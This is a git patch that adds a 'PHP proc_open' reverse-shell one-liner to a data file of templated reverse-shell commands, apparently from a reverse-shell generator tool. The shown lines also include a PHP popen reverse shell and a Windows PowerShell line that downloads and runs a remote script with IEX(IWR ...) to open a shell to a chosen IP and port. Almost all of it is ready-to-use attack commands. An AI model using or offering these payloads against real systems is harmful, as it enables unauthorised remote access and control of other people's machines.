From daf5512d12e2824c894a6d2bbfd3895f4d18c406 Mon Sep 17 00:00:00 2001 From: minhnq22 Date: Fri, 4 Jun 2021 03:49:13 -0400 Subject: [PATCH] Add PHP proc_open reverse shell --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 299fe98..d362f41 100644 --- a/js/data.js +++ b/js/data.js @@ -149,6 +149,11 @@ const reverseShellCommands = withCommandType( "command": "php -r '$sock=fsockopen(\"{ip}\",{port});popen(\"{shell} <&3 >&3 2>&3\", \"r\");'", "meta": ["linux", "windows", "mac"] }, + { + "name": "PHP proc_open", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});$proc=proc_open(\"{shell} -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'", + "meta": ["linux", "windows", "mac"] + }, { "name": "Windows ConPty", "command": "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}",